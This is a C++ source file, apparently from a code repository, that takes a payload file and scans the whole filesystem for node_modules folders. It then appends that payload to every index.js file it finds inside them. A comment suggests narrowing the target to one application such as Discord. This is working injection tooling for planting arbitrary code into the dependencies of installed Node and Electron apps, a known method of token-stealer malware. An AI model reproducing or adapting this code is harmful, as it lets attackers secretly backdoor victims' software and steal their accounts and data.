Files
2021-09-20 10:51:06 -05:00

156 lines
3.7 KiB
C++

#include <iostream>
#include <filesystem>
#include <fstream>
#include <vector>
int main(int argc,char* argv[]) {
std::string payloadData;
if (argc < 2)
{
std::cout << "Add payload file path" << std::endl;
return EXIT_FAILURE;
}
else {
std::filesystem::path payloadPath(argv[1]);
if (!std::filesystem::exists(payloadPath))
{
std::cout << "File does not exists." << std::endl;
return EXIT_FAILURE;
}
else
{
std::ifstream f(payloadPath, std::ios::in);
const auto sz = std::filesystem::file_size(payloadPath);
std::string payload(sz, '\0');
f.read(payload.data(), sz);
payloadData = payload;
}
}
// vector to save the paths to write
std::vector<std::filesystem::path> nodeModulePath;
std::vector<std::filesystem::path> indexPaths;
std::filesystem::path path("/");
// try to find if drive is alive
try
{
std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied);
}
catch (...)
{}
// init iterator
auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied);
auto end_iter = std::filesystem::end(iter);
auto ec = std::error_code();
for (; iter != end_iter; iter.increment(ec))
{
if (ec)
{
std::cout << ec.message() << std::endl;
continue;
}
try
{
// add path to vector
if (iter->path().filename() == "node_modules")
{
nodeModulePath.push_back(iter->path());
iter.disable_recursion_pending();
}
}
catch (const std::exception& exc)
{
std::cerr << exc.what();
continue;
}
}
for (std::vector<std::filesystem::path>::const_iterator i = nodeModulePath.begin(); i != nodeModulePath.end(); ++i)
{
std::filesystem::path path = *i;
// check if can acces that dir
try
{
std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied);
}
catch (...)
{
continue;
}
auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied);
auto end_iter = std::filesystem::end(iter);
auto ec = std::error_code();
for (; iter != end_iter; iter.increment(ec))
{
if (ec)
{
std::cout << ec.message() << std::endl;
continue;
}
try
{
// add this check if you want to target a specific app
// if (iter->path().string().find("discord") != std::string::npos) {
if (iter->path().filename() == "index.js")
{
indexPaths.push_back(iter->path());
iter.disable_recursion_pending();
}
// }
}
catch (...) {
continue;
}
}
}
for (std::vector<std::filesystem::path>::const_iterator i = indexPaths.begin(); i != indexPaths.end(); ++i)
{
std::filesystem::path path = *i;
if (payloadData.length()>1) {
std::ofstream out;
out.open(path, std::ios::out | std::ios::app| std::ios::binary);
out << "\n" << payloadData.substr(0,payloadData.size()-2);
out.close();
}
}
return EXIT_SUCCESS;
}